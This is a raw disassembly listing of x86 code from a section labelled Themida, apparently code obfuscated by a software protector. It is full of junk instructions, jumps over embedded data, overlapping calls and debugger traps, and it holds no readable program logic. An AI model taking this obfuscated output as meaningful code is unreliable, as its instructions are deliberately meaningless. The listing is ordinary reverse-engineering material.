; ---------------------------------------------------------------------------
		pop	ds
		cmpsd
		pop	edi


loc_603B27:				; CODE XREF: Themida_:00603AFBj
		cmc
		mov	bh, 61h
		pusha
		jb	loc_603B35
		mov	si, 15E0h


loc_603B35:				; CODE XREF: Themida_:00603B2Bj
		jmp	loc_603B43
; ---------------------------------------------------------------------------
		dw 0DC6Eh
; ---------------------------------------------------------------------------
		mov	dword ptr [ebx-5Dh], 0AFC87E0Eh


loc_603B43:				; CODE XREF: Themida_:loc_603B35j
		popa
		pusha
		mov	edi, eax
		stc
		popa
		mov	ah, 81h
		call	near ptr loc_603B61+1
		les	esi, ds:478EAC42h
		assume ss:nothing
		aaa
		dec	esp
		push	esi
		jge	short loc_603BB3
		cmp	esp, [ebp+42h]
		cld
		out	dx, eax
		inc	edx


loc_603B61:				; CODE XREF: Themida_:00603B4Bp
		db	2Eh
		jz	loc_603B6B
		or	dl, 65h


loc_603B6B:				; CODE XREF: Themida_:loc_603B61j
		pop	esi
		add	cx, 8CF7h
		push	eax
		mov	edx, 0B32C3EFh
		pop	edx
		jnz	loc_603B80
		push	ecx
		pop	esi


loc_603B80:				; CODE XREF: Themida_:00603B78j
		jmp	loc_603B91
; ---------------------------------------------------------------------------
		db 1Ah,	0F5h, 0F2h
		dd 0C5C0BFE8h, 0DFAC495Eh
		db 28h
; ---------------------------------------------------------------------------


loc_603B91:				; CODE XREF: Themida_:loc_603B80j
		mov	cl, al
		push	ebx
		jmp	loc_603BAD
; ---------------------------------------------------------------------------
		db 0CAh, 0E9h, 56h
		dd 0F6A22A30h, 0DE4F3A05h, 0E5734561h, 9D99303Bh
		db 7Dh
; ---------------------------------------------------------------------------


loc_603BAD:				; CODE XREF: Themida_:00603B94j
		pop	esi
		jmp	loc_603BC0
; ---------------------------------------------------------------------------


loc_603BB3:				; CODE XREF: Themida_:00603B59j
		push	edi
		fcmovnb	st, st(7)
		test	al, 42h
		popa
		add	[ecx], ecx
		and	al, 0C3h
		jnz	short near ptr loc_603C0C+3
		push	cs


loc_603BC0:				; CODE XREF: Themida_:00603BAEj
		and	si, 5F71h
		mov	bx, 0F002h
		mov	esi, ecx
		jnp	loc_603BD7
		add	ecx, 261FC758h


loc_603BD7:				; CODE XREF: Themida_:00603BCBj
		jmp	loc_603BE4
; ---------------------------------------------------------------------------
		dd 62C745FDh, 1A7F1189h
; ---------------------------------------------------------------------------


loc_603BE4:				; CODE XREF: Themida_:loc_603BD7j
		cld
		call	sub_603BFE
		mov	dh, 31h
		retn
; ---------------------------------------------------------------------------
		db 0F0h, 6Ah, 0D9h
		dd 791F8988h, 0AAFE82CEh, 510386DFh
; ---------------------------------------------------------------------------
		cmp	dh, bl

; =============== S U B	R O U T	I N E =======================================



sub_603BFE	proc near		; CODE XREF: Themida_:00603BE5p

arg_4		= byte ptr  8
arg_15		= byte ptr  19h

; FUNCTION CHUNK AT 00603CE2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00603D13 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00603D4E SIZE 00000068 BYTES
; FUNCTION CHUNK AT 00603DC3 SIZE 0000003E BYTES

		pop	esi
		jmp	loc_603C09
; ---------------------------------------------------------------------------
		dd 5A5DCC62h
		db 0BAh
; ---------------------------------------------------------------------------


loc_603C09:				; CODE XREF: sub_603BFE+1j
		or	ah, 4Ah


loc_603C0C:				; CODE XREF: Themida_:00603BBDj
		jnp	loc_603C17
		mov	edi, 1DB45464h


loc_603C17:				; CODE XREF: sub_603BFE:loc_603C0Cj
		or	eax, 663E2618h
		jmp	loc_603C2C
; ---------------------------------------------------------------------------
		dw 86E7h
; ---------------------------------------------------------------------------
		pop	ebx
		xchg	eax, edi
		fnsave	[esp+edx*4-8+arg_15]
		fdivr	st, st


loc_603C2C:				; CODE XREF: sub_603BFE+1Fj
		or	dx, 0D22Fh
		and	dx, 0D1ECh
		mov	esi, eax
		ja	loc_603C4A
		jmp	loc_603C4A
; ---------------------------------------------------------------------------
		db 74h
		dd 0C2BDC113h
; ---------------------------------------------------------------------------
		xor	cl, [ecx]


loc_603C4A:				; CODE XREF: sub_603BFE+3Aj
					; sub_603BFE+40j
		pusha
		sub	esi, 51A50C4Dh
		mov	edx, 470D46B8h
		popa
		adc	ebx, 12AAE91h
		cmc
		mov	edi, 6F75ADEDh
		stc
		movzx	eax, dx
		mov	dx, bx
		cmc
		jmp	loc_603C7A
; ---------------------------------------------------------------------------
		dd 942126E7h, 0D18C2FCCh
		db 5Fh,	0A9h
; ---------------------------------------------------------------------------


loc_603C7A:				; CODE XREF: sub_603BFE+6Dj
		mov	cx, 3055h
		mov	bx, 0F0C0h
		call	near ptr loc_603C8B+4
		inc	edi
		loop	loc_603CE2
		push	esi


loc_603C8B:				; CODE XREF: sub_603BFE+84p
		adc	[esi-74F0CD22h], ebp
sub_603BFE	endp ; sp-analysis failed

		push	es
; ---------------------------------------------------------------------------
		dw 0
		dd 9AF38100h, 5F1C6F34h, 0BA70D681h, 0CF8B2A12h, 0FDFBF0Fh
		dd 98Bh, 3880F00h, 66000000h, 6E9F88Bh,	45000000h, 0F6EE8013h
		dd 66D88BD9h, 0E9ECB4BBh, 0Dh, 1B81213Dh, 7FFFC583h, 5D5A3E38h
		dd 8E948h, 0C8F10000h
		db 48h,	36h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_603BFE


loc_603CE2:				; CODE XREF: sub_603BFE+8Aj
		aad	8Ah
		lock mov ecx, [edi]
		mov	bh, 0D3h
		mov	eax, 3FA4A576h
		mov	eax, 2CD1BDA8h
		sub	si, 7686h
		jnp	loc_603D13
		jmp	loc_603D13
; END OF FUNCTION CHUNK	FOR sub_603BFE
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		pop	ebx
		cwde
		push	eax
		sub	edi, edx
		sti
		xchg	eax, ebp
		aam	8Bh
		retn
; ---------------------------------------------------------------------------
		dw 0F452h
		db 0C2h, 3, 2Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_603BFE


loc_603D13:				; CODE XREF: sub_603BFE+FAj
					; sub_603BFE+100j
		and	eax, 522941E0h
		sub	di, 8E98h
		movzx	edi, ax
		jo	loc_603D28
		cmc


loc_603D28:				; CODE XREF: sub_603BFE+123j
		xor	ch, 8
		mov	bl, dh
		push	ecx
		xor	cl, 45h
		pop	esi
		mov	esi, edi
		mov	bx, di
		jl	loc_603D4E
		jmp	loc_603D4E
; END OF FUNCTION CHUNK	FOR sub_603BFE
; ---------------------------------------------------------------------------
		dw 149Ah
; ---------------------------------------------------------------------------
		sbb	eax, 1F2D54B9h
		mov	ebp, 19AA6880h
; START	OF FUNCTION CHUNK FOR sub_603BFE


loc_603D4E:				; CODE XREF: sub_603BFE+139j
					; sub_603BFE+13Fj
		movzx	ebx, dx
		mov	ebx, 69226717h
		movzx	ebx, cx
		movsx	ecx, bx
		mov	ecx, 0BB149D4h
		clc
		pusha
		call	near ptr loc_603D76+1
		lodsd
		aaa
		xchg	eax, edx
		xchg	edx, [eax+3AFF9A68h]
		xchg	eax, ecx
		xor	al, 0D1h
		aaa
		cmpsb


loc_603D76:				; CODE XREF: sub_603BFE+165p
		out	0E8h, eax
		sldt	word ptr [eax]
		add	[ebx+64h], dl
		push	ebp
		pop	edi
		dec	ebp
		adc	eax, 0B018ADE5h
		dec	esi
		movsb
		stc
		xchg	dh, ch
		pop	ecx
		pop	eax
		mov	edx, 34D5FF81h
		popa
		ja	loc_603D9E
		mov	esi, 4ABF42F1h


loc_603D9E:				; CODE XREF: sub_603BFE+195j
		cld
		jnz	loc_603DAA
		or	cx, 8CF5h


loc_603DAA:				; CODE XREF: sub_603BFE+1A1j
		mov	ax, dx
		stc
		mov	di, ax
		jmp	loc_603DC3
; END OF FUNCTION CHUNK	FOR sub_603BFE
; ---------------------------------------------------------------------------
		dw 47C9h
		dd 627B5788h, 2A671035h
		db 8Fh,	67h, 0B3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_603BFE


loc_603DC3:				; CODE XREF: sub_603BFE+1B3j
		mov	ax, 0A4C5h
		mov	ah, 90h
		jo	near ptr loc_603DE4+3
		call	near ptr loc_603DE1+2
		clc
		dec	esp
		add	[esi+2Bh], ecx
		call	near ptr 0ACCA205Ch
		call	fword ptr [esp+ebp*8+0]


loc_603DE1:				; CODE XREF: sub_603BFE+1D1p
		or	ecx, [edx-80h]


loc_603DE4:				; CODE XREF: sub_603BFE+1CBj
		call	near ptr 0DAEA9D76h
		adc	ch, 0D1h
		jb	loc_603DF3
		cmc


loc_603DF3:				; CODE XREF: sub_603BFE+1EEj
		call	sub_603E01
		push	0F2516B8Eh
		int	3		; Trap to Debugger
		int	0E5h		; used by BASIC	while in interpreter
		xchg	eax, ebp
; END OF FUNCTION CHUNK	FOR sub_603BFE

; =============== S U B	R O U T	I N E =======================================



sub_603E01	proc near		; CODE XREF: sub_603BFE:loc_603DF3p
		movzx	eax, bx
		pop	edx
		jns	loc_603E0E
		mov	ax, dx


loc_603E0E:				; CODE XREF: sub_603E01+4j
		adc	ax, 2F0Fh
		mov	di, 1339h
		cld
		xor	ax, 0A369h
		sbb	bx, 3B3Ch
		or	si, 9C43h
		mov	ch, 0D7h
		push	esi
		adc	eax, 3F1B294Ah
		pop	esi
		jz	loc_603E39
		mov	bl, 0ACh


loc_603E39:				; CODE XREF: sub_603E01+30j
		jnp	loc_603E58
		jmp	loc_603E58
; ---------------------------------------------------------------------------
		dd 9EE84B53h, 331B112Dh, 81643F0Ah, 0BC42A540h,	0CA7F4104h
; ---------------------------------------------------------------------------


loc_603E58:				; CODE XREF: sub_603E01:loc_603E39j
					; sub_603E01+3Ej
		jmp	loc_603E70
; ---------------------------------------------------------------------------
		db 32h,	9Dh, 0C8h
		dd 33E4FF84h, 161465FDh, 3A4CDB0Eh, 0FAA5A820h
; ---------------------------------------------------------------------------


loc_603E70:				; CODE XREF: sub_603E01:loc_603E58j
		jmp	loc_603E7F
; ---------------------------------------------------------------------------
		db 8Ah,	0, 0ACh
		dd 7BBEFAC4h
; ---------------------------------------------------------------------------
		sti
		mov	ah, 52h


loc_603E7F:				; CODE XREF: sub_603E01:loc_603E70j
		push	eax
		add	ax, 7C7Fh
		pop	edx
		call	loc_603E9D
		sar	cl, 1
		fcmove	st, st(5)
		adc	ecx, [eax-65h]
		shr	dword ptr cs:[ecx-4Fh],	1
		fnstsw	word ptr [esi]
		and	eax, 3912DE8Eh
sub_603E01	endp ; sp-analysis failed



loc_603E9D:				; CODE XREF: sub_603E01+85p
		jz	loc_603EB8
		jmp	loc_603EB8
; ---------------------------------------------------------------------------
		dd 1C680256h, 2408E7E7h, 0C107C750h, 31C9BAA9h
; ---------------------------------------------------------------------------


loc_603EB8:				; CODE XREF: Themida_:loc_603E9Dj
					; Themida_:00603EA3j
		pop	edx
		push	edx
		xor	al, 30h
		pop	edi
		sub	edi, 8448C5Ah
		mov	eax, 29B6E988h	; CODE XREF: Themida_:00603F11j
		pusha
		jmp	loc_603ED7
; ---------------------------------------------------------------------------
		db 50h
		dd 0D161B2BCh
		db 5Ah,	6, 0E2h
; ---------------------------------------------------------------------------


loc_603ED7:				; CODE XREF: Themida_:00603ECAj
		and	dx, 0A705h
		popa
		jmp	loc_603EEA
; ---------------------------------------------------------------------------
		dw 3870h
		dd 20B10229h
		db 0B9h, 0F1h
; ---------------------------------------------------------------------------


loc_603EEA:				; CODE XREF: Themida_:00603EDDj
		pusha
		jnp	loc_603EF7
		jg	$+6


loc_603EF7:				; CODE XREF: Themida_:00603EEBj
		or	edi, 4D511856h
		popa
		call	sub_603F17
		sub	al, 0EAh
		dec	esp
		sbb	ebp, esp
		clc
		scasb
		inc	edi
		pop	ss
		assume ss:nothing
		fsub	dword ptr [eax]
		sub	al, 55h
		ja	short near ptr loc_603EC4+2
		hlt
; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(0BFh)

; =============== S U B	R O U T	I N E =======================================



sub_603F17	proc near		; CODE XREF: Themida_:00603EFEp
		jnz	loc_603F20
		movzx	ecx, dx


loc_603F20:				; CODE XREF: sub_603F17j
		pop	ecx
		or	cx, 601h
		jz	loc_603F32
		sub	edi, 71C6775Eh


loc_603F32:				; CODE XREF: sub_603F17+Fj
		mov	dh, 0F4h
		mov	edx, 4EA3D1B1h
		mov	dx, 0BC84h
		mov	dx, 2FC1h
		mov	edi, 22D89DB1h
		mov	bx, 7AEAh
		mov	si, cx
		mov	al, bh
		push	ebx
		xor	edx, 16627CC6h
		pop	edi
		jnb	loc_603F62
		adc	si, 0A90Dh


loc_603F62:				; CODE XREF: sub_603F17+40j
		mov	si, di
		push	edi
		push	ecx
		mov	ch, 50h
		pop	eax
		pop	esi
		jnp	loc_603F72
		clc


loc_603F72:				; CODE XREF: sub_603F17+54j
		mov	esi, ebx
		js	loc_603F7F
		mov	edi, 529B743Eh


loc_603F7F:				; CODE XREF: sub_603F17+5Dj
		jz	$+6
		mov	eax, ebx
		jmp	loc_603F99
; ---------------------------------------------------------------------------
		dd 0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h
		db 2Bh
; ---------------------------------------------------------------------------


loc_603F99:				; CODE XREF: sub_603F17+70j
		xor	esi, 9700024h
		jmp	loc_603FB7
; ---------------------------------------------------------------------------
		or	bl, [ecx+edx*4+66h]
		add	bl, al
		test	eax, 7E8C66B3h
		mov	esi, 1B13C697h
		lds	eax, [edi]
		scasd


loc_603FB7:				; CODE XREF: sub_603F17+88j
		jle	loc_603FBF
		mov	dl, ch


loc_603FBF:				; CODE XREF: sub_603F17:loc_603FB7j
		pusha
		xor	ax, 7ECEh
		mov	esi, 7EAD563Fh
		popa
		mov	di, 0B30Dh
		adc	dh, 0F8h
		call	loc_603FDC
		db	65h
		dec	ecx
		cdq
		aam	1Fh
sub_603F17	endp ; sp-analysis failed



loc_603FDC:				; CODE XREF: sub_603F17+BBp
		movzx	edx, di
		pop	edi
		mov	cl, 0B6h
		mov	dx, 0CF41h
		mov	ecx, 707D700Bh
		sbb	al, 35h
		mov	edi, 5070AE6Ah
		jg	$+6
		add	edi, 10742CCBh
		and	bx, 80ECh
		xor	bx, 0E24Bh
		call	sub_604016
		pop	ebp
		idiv	dword ptr [eax+21h]
; ---------------------------------------------------------------------------
		dw 0CC36h
; ---------------------------------------------------------------------------
		rcr	dword ptr [edi], 1

; =============== S U B	R O U T	I N E =======================================



sub_604016	proc near		; CODE XREF: Themida_:00604009p
		cld
		pop	eax
		jz	loc_604023
		sbb	dx, 75DCh


loc_604023:				; CODE XREF: sub_604016+2j
		mov	ecx, 113AFF18h
		mov	dx, 69C7h
		mov	esi, eax
		jmp	loc_604043
; ---------------------------------------------------------------------------
		db 0F5h
		dd 6CACE899h, 0E0B10E9h, 42CE39F6h
		db 17h,	2Dh, 10h
; ---------------------------------------------------------------------------


loc_604043:				; CODE XREF: sub_604016+18j
					; sub_604016+45j
		mov	edx, 538153Fh
		mov	edi, ecx
		jbe	loc_604051
		cld


loc_604051:				; CODE XREF: sub_604016+34j
		call	near ptr loc_60405D+1
		cmp	ch, [ebp-32h]
		outsb
		cmpsb
		js	short loc_604043


loc_60405D:				; CODE XREF: sub_604016:loc_604051p
		cmp	[esi-41h], esp
sub_604016	endp ; sp-analysis failed

		fldenv	byte ptr [edi]
		pop	eax
		push	esi
		pop	edi
		clc
		adc	edx, 4DE79361h
		pusha
		call	near ptr loc_604078+3
		mov	ebx, 724BED4Eh


loc_604078:				; CODE XREF: Themida_:0060406Dp
		mov	edi, 0F5EAE6Ah
		xchg	eax, [edx]
; ---------------------------------------------------------------------------
		db 0
		dd 61600000h, 0E8F48A61h, 0Bh, 990151B8h, 259D519Ch, 8B6D266Bh
		dd 0BE665ADFh, 13E97427h, 0F6000000h, 711F11A9h, 0B40F18D2h
		dd 60A957F6h, 0E382E5A8h, 0E2817E04h, 4F68D058h, 0CE9FCh
		dd 5C890000h, 4087425Eh, 0AB01F36Bh, 8B66688Bh,	0C830FFEh
		dd 0F000000h, 68Eh, 880F00h, 0F8000000h, 0EEE80FCh, 0ABF08166h
		dd 6840FFFh, 0F000000h,	81h, 6E900h, 0DD5E0000h, 0FEB2B3B5h
		dd 860Fh, 0CE80000h, 81000000h,	0E84A7AD1h, 836AB267h
		dd 0FE0EF0Ah, 584h, 0C7816600h,	60598D21h, 58B0Fh, 81660000h
		dd 8B6841E1h, 8B6661F3h, 0D3B70FF1h, 80F98B66h,	0B70F4FC7h
		dd 2880FFAh, 8B000000h,	28D0FD6h, 0B6000000h, 0EDE181B0h
		dd 0F6D6F4Dh, 187h, 65BEF900h, 811CFE4Ch, 2FC647C0h, 0E9CE8B64h
		dd 14h,	702072B2h, 0AE43861Fh, 0C373FB18h, 108F1D3Ah, 0F12BFD71h
		dd 0A3FA76BFh, 5E85Fh, 0C4300000h, 58F9CE3Eh, 12E981B7h
		dd 36000000h, 0A8FF9800h, 50EBE16Ah, 53937064h,	0F0D8D3EFh
		dd 0F78160A9h, 329A7F33h, 0D1DF8161h, 0F3CC068h, 68Eh
		dd 29D68100h, 0E96AA2C6h, 7, 0B6A3BB6Fh, 60615DDDh, 11E9h
		dd 0A7CC8C00h, 988C488Eh, 471AB9EBh, 186A7943h,	0B70F1737h
		dd 8B6661F2h, 6E8F3h, 0F76E0000h, 4DB61353h, 0CDE68166h
		dd 0DE959F9h, 0AD000000h, 0E58AD81Dh, 0D4193BACh, 51CB2B9Fh
		dd 2DD98166h, 816650A6h, 5F234AEAh, 66C28B66h, 7783E781h
		dd 830Fh, 0B7FC0000h, 0EE81667Ch, 0E9509AE9h, 12h, 0B5C5F186h
		dd 305B692Bh, 5F254979h, 68F1539Dh, 535A42E5h, 7802BB66h
		dd 3890F5Bh, 0F000000h,	0C6B8CBBFh, 0E94B92EBh,	0Ah, 63175899h
		dd 91134455h, 6E947F3h,	0A4000000h, 0FBBF098Ah,	0E960FCF8h
		dd 6, 0BA8B0DBCh, 6660B3C3h, 0D78BCE8Bh, 81666161h, 8B9D6EC7h
		dd 60E38AD6h, 8BF28B66h, 0B70F61F3h, 13E9D9h, 31140000h
		dd 0F7850AD1h, 74B40530h, 699149EDh, 2E687471h,	0BBE5B600h
		dd 262D1E46h, 8BDBB70Fh, 0AE9FBh, 6B8D0000h, 9F52448Eh
		dd 0C1C25299h, 5A5B5351h, 0FCFCCB8Bh, 0C294EF81h, 0F607B03h
		dd 580h, 8D26B800h, 0F6157F5h, 78Eh, 5AB85200h,	5A4C1BDDh
		dd 0E3816660h, 98BE7FD1h, 611538DBh, 0BFC78166h, 8B62B50Bh
		dd 0ECB9FCFBh, 0E92383E9h, 14h,	0B9FA5143h, 4AE348EBh
		dd 5757C467h, 15BBA910h, 0CD4D0743h, 0AE9h, 0F2B1E400h
		dd 8028B76Ch, 52C2DDEDh, 5AE78A56h, 7279B85Ah, 66571B1Ch
		dd 5B7B48B8h, 0F7D08166h, 0B72FB55Dh, 0F830F3Ah, 0E9000000h
		dd 0Ah,	0FE51BFFFh, 0C0E6E17Fh,	0F60A4A2h, 483h, 79BB6600h
		dd 0D780538Bh, 66615859h, 0FD4D9BEh, 82h, 0AE900h, 0E8220000h
		dd 0B4EA040Fh, 143BF9A3h, 0FC78B66h, 384h, 0F0BF0F00h
		dd 0BE6BC881h, 51FC3387h, 7D2E3DBEh, 80605B22h,	10E9E1D3h
		dd 0C2000000h, 0E601B400h, 91559EE0h, 10915EDDh, 611B01C3h
		dd 0E9F9E4B0h, 9, 11166131h, 219D75EEh,	85E081E1h, 0F646251h
		dd 288h, 60D68B00h, 13E961h, 0F9950000h, 827BB7B5h, 0CE7F25A9h
		dd 0FC178BE8h, 0BB4ABF12h, 0B1D98BBCh, 0DE8B6664h, 3800Fh
		dd 0BF0F0000h, 79E281F8h, 66066EB1h, 4938C281h,	6850Fh
		dd 0DF810000h, 242205BAh, 9E8h,	0C846BB00h, 0A9286687h
		dd 81661CA3h, 5FC675C7h, 58EAF381h, 840F5676h, 2, 0E28141B0h
		dd 5F00AA9Eh, 66F0BF0Fh, 1BC7E781h, 0BBF5C18Bh,	47A02713h
		dd 0BE824B4h, 0FC000000h, 512DDEE3h, 84AFBDBCh,	0F58A12C4h
		dd 0DF8BF85Eh, 208F61BFh, 0AE910h, 86D10000h, 3D4CB49Dh
		dd 349AC76Dh, 7E96060h,	0D7000000h, 0DFAE80D3h,	800F487Ah
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	dx, 3D11h
		popa
		mov	cx, 45ACh
		mov	ax, di
		mov	ah, 41h
		mov	si, cx
		ja	$+6
		mov	eax, edi
		jmp	loc_6044DF
; ---------------------------------------------------------------------------
		db 92h
		dd 5049CABFh, 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h
		db 9Ch,	0A1h, 0FCh
; ---------------------------------------------------------------------------


loc_6044DF:				; CODE XREF: Themida_:006044C6j
		jmp	loc_6044EC
; ---------------------------------------------------------------------------
		dd 0E1D15618h, 0C844AC80h
; ---------------------------------------------------------------------------


loc_6044EC:				; CODE XREF: Themida_:loc_6044DFj
		jmp	loc_604500
; ---------------------------------------------------------------------------
		db 77h,	9Eh, 22h
		dd 0B5EF713h, 5B6CD62Ch, 0C7178C55h
; ---------------------------------------------------------------------------


loc_604500:				; CODE XREF: Themida_:loc_6044ECj
		movsx	esi, cx
		call	near ptr loc_60450C+2
		cmp	al, 52h
		inc	edi
		dec	ebx


loc_60450C:				; CODE XREF: Themida_:00604503p
		mov	ds:5FDC8A56h, gs
		pop	eax
		sub	edi, 1F8C14CFh
		jnb	loc_604524
		mov	ebx, 41FF90EAh


loc_604524:				; CODE XREF: Themida_:00604519j
		mov	ecx, eax
		adc	edx, 1DAF95DBh	; CODE XREF: Themida_:loc_604548j
		jmp	loc_604537
; ---------------------------------------------------------------------------
		db 1, 39h, 37h
		db 0FEh, 5, 72h
; ---------------------------------------------------------------------------


loc_604537:				; CODE XREF: Themida_:0060452Cj
		push	edx
		call	sub_60454F
		fcmovu	st, st(1)
		fadd	dword ptr [esi]
		jo	short loc_604548
		hlt
; ---------------------------------------------------------------------------
		dd 8149FD6Fh
; ---------------------------------------------------------------------------


loc_604548:				; CODE XREF: Themida_:00604541j
		jnb	short near ptr loc_604526+5
		adc	dl, [edx+4Dh]
		push	0FFFFFF94h

; =============== S U B	R O U T	I N E =======================================



sub_60454F	proc near		; CODE XREF: Themida_:00604538p
		pop	ebx
		pop	ecx
		movsx	ebx, dx
		adc	edx, 35554B0Ah
		mov	ecx, 76FF2041h
		jmp	loc_604574
; ---------------------------------------------------------------------------
		db 0CCh
		db 0A4h, 57h, 0B7h
		dd 0E95B302Dh, 25135865h, 0A0195FC1h
; ---------------------------------------------------------------------------


loc_604574:				; CODE XREF: sub_60454F+10j
		sub	bx, 6376h
		pusha
		pusha
		jg	$+6
		jmp	loc_60458F
; ---------------------------------------------------------------------------
		dw 153Dh
		dd 0EA26CE95h
		db 8Eh,	95h, 0E9h
; ---------------------------------------------------------------------------


loc_60458F:				; CODE XREF: sub_60454F+32j
		popa
		movzx	ebx, di
		popa
		jo	loc_6045AD
		jmp	loc_6045AD
; ---------------------------------------------------------------------------
		db 7Ah
		dd 4E4659C2h, 0D8878A62h, 0F364A174h
		db 28h
; ---------------------------------------------------------------------------


loc_6045AD:				; CODE XREF: sub_60454F+45j
					; sub_60454F+4Bj
		call	sub_6045B7
		xchg	eax, ecx
		retn	0F3BEh
sub_60454F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6Ah

; =============== S U B	R O U T	I N E =======================================



sub_6045B7	proc near		; CODE XREF: sub_60454F:loc_6045ADp
		or	esi, 6781B528h
		pop	eax
		jnb	loc_6045CB
		pusha
		push	ecx
		pop	esi
		movsx	edi, dx
		popa


loc_6045CB:				; CODE XREF: sub_6045B7+7j
		mov	edi, 4D6F3266h
		call	near ptr loc_6045DD+4
		push	edi
		mov	al, ds:0BCC7DFF1h
		fcmovne	st, st(2)


loc_6045DD:				; CODE XREF: sub_6045B7+19p
		cmp	eax, 0B745450Bh
sub_6045B7	endp ; sp-analysis failed

		mov	ds:0F28B5359h, eax
		pop	edi
		jmp	loc_6045F9
; ---------------------------------------------------------------------------
		db 0D7h, 0CEh, 10h
		dd 98C99366h, 0F99127Eh
; ---------------------------------------------------------------------------
		das


loc_6045F9:				; CODE XREF: Themida_:006045E8j
		jmp	loc_604603
; ---------------------------------------------------------------------------
		dw 8D0Eh
		db 0E6h, 64h, 0BEh
; ---------------------------------------------------------------------------


loc_604603:				; CODE XREF: Themida_:loc_6045F9j
		mov	esi, 1FF36FD2h
		jmp	loc_604620
; ---------------------------------------------------------------------------
		db 2 dup(0), 2
		dd 0F4C5F662h, 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h
; ---------------------------------------------------------------------------


loc_604620:				; CODE XREF: Themida_:00604608j
		mov	dx, di
		mov	ebx, ecx
		mov	di, 4F53h
		jmp	loc_604636
; ---------------------------------------------------------------------------
		dw 2DC1h
		dd 7AE3388Ah
		db 94h,	0Fh
; ---------------------------------------------------------------------------


loc_604636:				; CODE XREF: Themida_:00604629j
		jmp	loc_60464E
; ---------------------------------------------------------------------------
		db 93h
		dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h
; ---------------------------------------------------------------------------
		push	0FFFFFFBEh


loc_60464E:				; CODE XREF: Themida_:loc_604636j
		jmp	loc_604666
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 0D9E49D36h
		db 72h,	15h
; ---------------------------------------------------------------------------


loc_604666:				; CODE XREF: Themida_:loc_60464Ej
		sbb	ax, 403h
		mov	dx, 3151h
		cld
		cmc
		pusha
		call	near ptr loc_604680+4
		push	cs
		add	eax, 315C2AC2h
		mov	esi, eax
		lodsd


loc_604680:				; CODE XREF: Themida_:00604672p
		mov	ebx, 521485E9h
		pop	edx
		pop	edi
		push	esi
		jmp	loc_604694
; ---------------------------------------------------------------------------
		db 0C6h, 0, 88h
		dd 6F4BA896h
; ---------------------------------------------------------------------------


loc_604694:				; CODE XREF: Themida_:00604688j
		pop	edx
		popa
		add	esi, 314A6CEEh
		mov	si, 2657h
		pusha
		jz	loc_6046AC
		xor	dx, 5169h


loc_6046AC:				; CODE XREF: Themida_:006046A1j
		sub	cl, 10h
		popa
		jmp	loc_6046C6
; ---------------------------------------------------------------------------
		db 51h,	4Dh, 67h
		dd 8DD0E181h, 646A7D88h, 0EEFEDE02h
; ---------------------------------------------------------------------------
		test	dl, ch


loc_6046C6:				; CODE XREF: Themida_:006046B0j
		mov	dl, 0C2h
; START	OF FUNCTION CHUNK FOR sub_60470D


loc_6046C8:				; CODE XREF: sub_60470D+18j
		call	loc_6046DB
		xchg	eax, ebx
		retf	90C5h
; END OF FUNCTION CHUNK	FOR sub_60470D
; ---------------------------------------------------------------------------
		db 0C6h, 36h, 8Bh
		dd 0E676495h
		db 0DAh, 3Ch, 8Dh
; ---------------------------------------------------------------------------


loc_6046DB:				; CODE XREF: sub_60470D:loc_6046C8p
		mov	esi, 378D5697h
		pop	edx
		mov	al, 27h
		mov	eax, 6D7BCF14h
		movsx	edx, di
		mov	ax, bx
		mov	edi, 72A4E363h
		mov	edx, eax
		mov	bx, di
		mov	ecx, edi
		call	near ptr sub_60470D
		pop	eax
		xlat
		pop	ecx
		and	ebx, 30DC514Dh
		lock mov cl, 26h
; ---------------------------------------------------------------------------
		db 0DBh
		db 24h

; =============== S U B	R O U T	I N E =======================================



sub_60470D	proc far		; CODE XREF: Themida_:006046FAp

; FUNCTION CHUNK AT 006046C8 SIZE 00000009 BYTES

		mov	edi, 6F4FD18Dh
		pop	esi
		mov	esi, eax
		call	sub_60472B
		call	near ptr 0EC231378h
		cmp	ecx, [esi]
		cmpsb
		cwde
		mov	ch, 0
		loope	loc_6046C8
		dec	edi
		fist	word ptr [ebp-28h]
sub_60470D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60472B	proc near		; CODE XREF: sub_60470D+8p
		call	sub_60473C
		or	[edx-13197A6Dh], esp
		adc	eax, 0CD5A4E8Eh
		xchg	eax, ebx
sub_60472B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60473C	proc near		; CODE XREF: sub_60472Bp
		jmp	near ptr sub_60474D
sub_60473C	endp

; ---------------------------------------------------------------------------
		aad	81h
		inc	edi
		mov	al, 0E7h
		mov	ebx, 9EBFC67Bh
		jp	short loc_60474E

; =============== S U B	R O U T	I N E =======================================



sub_60474D	proc far		; CODE XREF: sub_60473Cj
		pop	edi


loc_60474E:				; CODE XREF: Themida_:0060474Bj
		pop	edx
		mov	edx, ebx
		stc
		mov	edx, ecx
		jmp	loc_604762
; ---------------------------------------------------------------------------
		db 3Bh,	51h, 0A2h
		dd 0EC1D594Bh
		db 0BAh, 3Eh
; ---------------------------------------------------------------------------


loc_604762:				; CODE XREF: sub_60474D+7j
		push	edi
		and	edi, 4D7E45B8h
		pop	ebx
		mov	si, bx
		jmp	loc_604777
; ---------------------------------------------------------------------------
		dw 7F5Ah
		db 2Dh,	28h, 0B6h
; ---------------------------------------------------------------------------


loc_604777:				; CODE XREF: sub_60474D+20j
		and	esi, 2AD57052h
		jmp	loc_604790
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 7Fh
		dd 0F7C22014h, 4033D997h, 0AD6BDA67h
; ---------------------------------------------------------------------------


loc_604790:				; CODE XREF: sub_60474D+30j
		call	near ptr loc_604796+5
		insb


loc_604796:				; CODE XREF: sub_60474D:loc_604790p
		mov	word ptr [edx+ebx-8748A34h], ds
sub_60474D	endp ; sp-analysis failed

		pop	edx
		call	sub_6047AE
